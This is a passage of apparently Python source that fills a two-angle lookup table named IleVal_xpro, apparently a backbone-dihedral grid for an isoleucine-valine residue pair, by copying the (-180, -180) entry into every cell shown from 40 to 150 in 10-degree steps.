IleVal_xpro[(40, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(40, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(50, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(60, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(70, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(80, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(90, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(100, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(110, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(120, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(130, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(140, 170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -180)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -170)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -160)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -150)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -140)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -130)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, -10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 0)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 10)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 20)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 30)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 40)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 50)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 60)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 70)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 80)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 90)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 100)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 110)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 120)]=IleVal_xpro[(-180, -180)]
IleVal_xpro[(150, 130)]=IleVal_xpro[(-180, -180)]
